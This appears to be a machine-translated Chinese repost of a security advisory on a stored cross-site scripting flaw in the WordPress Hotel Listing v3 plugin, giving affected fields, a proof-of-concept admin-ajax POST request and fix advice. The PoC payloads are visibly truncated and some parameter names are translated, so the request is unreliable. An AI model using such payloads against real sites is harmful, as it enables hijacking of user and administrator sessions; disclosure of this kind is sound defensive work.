WordPress Plugin Hotel Listing 3 - 'Multiple' 跨站脚本 (XSS)

2021-12-17 15:34:28 浏览数 (2)

受影响的产品:

电子插件 产品: Hotel Listing v3.x - 插件 Wordpress(Web 应用程序)

受限身份验证(访客权限)

低用户交互

在官方 Hotel Listing v3.x wordpress 插件 web 应用程序中发现了多个持久输入验证 web 漏洞。 该漏洞允许远程攻击者通过持续攻击向量注入自己的恶意脚本代码来危害浏览器 来自应用程序端的 Web 应用程序请求。

这些漏洞位于 my-account 模块的添加新列表 - 地址、城市、邮政编码、国家和位置输入字段中。 远程攻击者可以注册一个低权限的应用程序用户帐户,将自己的恶意脚本代码和持久性攻击向量注入到 劫持用户/管理员会话凭据或永久操纵受影响的模块。恶意注入脚本代码的执行需要 放置在前端的预览中,但也可以在交互的后端中通过管理帐户进行编辑或列出(?&profile=all-post)。 注入的请求方法是 post,攻击向量是持久的,位于应用程序端。

请求方法: [ ] 发布

易受攻击的模块: [ ] 添加新列表

易受攻击的输入: [ ] 地址 [ ] 城市 [ ] 邮政编码 [ ] 国家

受影响的模块: [ ] 前端预览(所有列表) [ ] 后端预览(所有列表)或编辑

概念证明(PoC):

具有特权用户帐户且用户交互较少的远程攻击者可以利用持久性 Web 漏洞。 要进行安全演示或重现漏洞,请按照以下提供的信息和步骤继续操作。

有效载荷 ">%20

代码语言:javascript复制
http://hotel-eplug-ins.localhost:8000/wp-admin/admin-ajax.php

action=iv_directories_save_listing&form_data=cpt_page=hotel&title=test1&new_post_content=test2&logo_image_id=&feature_image_id= 
&gallery_image_ids=&post_status=pending&postcats[]=&address=">%220>%220><520>= =">%20& 
city=">%20&
状态=">%20&country=">%20&
纬度=&经度=&new_tag=&phone=&fax=&contact-email=&contact_web=&award_title[]=&award_description []=&
Award_year[]=&menu_title[]=&menu_description[]=&menu_price[]=&menu_order[]=&room_title[]=&room_description[]=&room_price[]=& 
room_order []=&override_bookingf=no&booking_stcode=&youtube=&vimeo=&facebook=&linkedin=&twitter=&gplus=&pinterest=&instagram=&Rooms=&suites=& 
Rating_stars=&CHECK_IN=&CHECK_out=&Cancellation=&Pets=&Children_nameds=Monday B&B &day_value1[]=& 
day_value2[]=&event-title=&event-detail=  &event_image_id=&user_post_id=&_wpnonce=50241bc992 


解决方案 - 修复和补丁:
======================== 
1. 编码并解析所有易受攻击的输入字段在通过 post 方法请求传输时
2. 限制输入字段以禁止使用特殊字符
3. 在编辑和列表中对输出内容进行编码和转义以防止执行点

0 人点赞